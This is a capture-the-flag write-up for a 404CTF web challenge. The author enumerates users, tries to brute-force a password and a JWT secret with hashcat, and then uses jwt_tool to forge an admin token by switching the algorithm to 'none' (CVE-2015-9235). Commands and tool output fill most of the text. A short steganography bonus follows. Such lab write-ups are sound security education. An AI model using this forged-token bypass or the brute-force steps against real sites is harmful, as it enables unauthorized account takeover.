Statement:
With your nose immersed in your black coffee, you take a quick look at the front page of the newspaper. One of the headlines catches your eye:
March 1980: The opaque secret of the new member of the French Academy.
You scan the paper for the article in question. It states :
After hours of deliberation, the Academicians have finally voted for the new member of the great French Academy. But for reasons unknown to everyone, his name has remained a secret ever since. Despite all their efforts, not a single journalist has managed to get even the slightest hint or picture.
Puzzled, you realize that the French Academy has its own website. Perhaps the answer is finally within everyone’s grasp!
All the information you need to solve this challenge is provided in the statement above.
When I go to the website, I see that it contains a login page.
I start with a fairly basic user enum and see that the admin account exists :
I saw a list of words in the footer of the site and thought they might be useful in solving the challenge :
I’m trying to perform a bruteforce dictionary attack via this list on the admin password, but nothing is conclusive :
I continue to recon the site and notice that when I log in with a random user, a JWT token is generated :
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjgzOTY1NjIyfQ.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE
I decide to try a bruteforce attack on the secret HMAC via hashcat with the same wordlist :
hashcat -a 0 -m 16500 "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjgzOTY1NjIyfQ.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE" wordlist.txt
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI...rzohGE
Time.Started.....: Sat May 13 09:34:52 2023 (0 secs)
Time.Estimated...: Sat May 13 09:34:52 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 665.7 kH/s (0.06ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 250/250 (100.00%)
Rejected.........: 0/250 (0.00%)
Restore.Point....: 250/250 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: PICASER -> ENDEVEE
Hardware.Mon.#1..: Temp: 73c Util: 18%
Started: Sat May 13 09:34:52 2023
Stopped: Sat May 13 09:34:54 2023
Still not the right method, I conclude that the wordlist won’t be of much use to me.
At this point, I focus on the JWT token and I start by inspecting its contents :
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inh4eCIsImV4cCI6MTY4MzkzNzg1NH0.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE"
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] username = "xxx"
[+] exp = 1683937854 ==> TIMESTAMP = 2023-05-13 02:30:54 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
I’m going to alter several token values :
- HS256 algorithm to none (CVE-2015-9235)
- username ‘xxx’ to ‘admin
python jwt_tool.py "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Inh4eCIsImV4cCI6MTY4MzkzNzg1NH0.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE" -T
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 1
Current value of alg is: HS256
Please enter new value and hit ENTER
> none
[1] alg = "none"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] username = "xxx"
[2] exp = 1683937854 ==> TIMESTAMP = 2023-05-13 02:30:54 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 1
Current value of username is: xxx
Please enter new value and hit ENTER
> admin
[1] username = "admin"
[2] exp = 1683937854 ==> TIMESTAMP = 2023-05-13 02:30:54 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_3e4a8fe4d384fc63a3837c6f7790c25e - Tampered token:
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjgzOTM3ODU0fQ.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE
JWT tampered token value :
python jwt_tool.py "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjgzOTM3ODU0fQ.cN-qlPPwzt_4eaC7M05Lv5qPZo69gTC9nU-ZKrzohGE"
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "none"
[+] typ = "JWT"
Token payload values:
[+] username = "admin"
[+] exp = 1683937854 ==> TIMESTAMP = 2023-05-13 02:30:54 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
All I have to do now is modify my token with the tampered JWT to access the admin account :
Flag: 404CTF{JWT_M41_1MP13M3N73_=L35_Pr0813M35}
Bonus : At the start of the CTF, once authenticated with the admin account, there was a steganography step which was later removed as it didn’t add anything to the challenge.
zsteg marguerite.png
b1,r,lsb,xy .. text: "C1y]E\\E{"
b1,rgb,lsb,xy .. text: "404CTF{JWT_M41_1MP13M3N73_=L35_Pr0813M35}"
b1,bgr,lsb,xy .. file: OpenPGP Secret Key
b2,r,msb,xy .. text: "TD@TTADDD"
b2,g,msb,xy .. text: "TD@TTADDD"
b2,b,msb,xy .. text: "TD@TTADDD"
b4,r,msb,xy .. text: "pb 7drB%R"
b4,g,lsb,xy .. file: MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040, creator ' ' "\340\020\020\020\020\001\021\020"
b4,g,msb,xy .. text: "pb 7drB%R"
b4,b,msb,xy .. text: "pb 7drB%R"
b4,bgr,lsb,xy .. file: 0420 Alliant virtual executable not stripped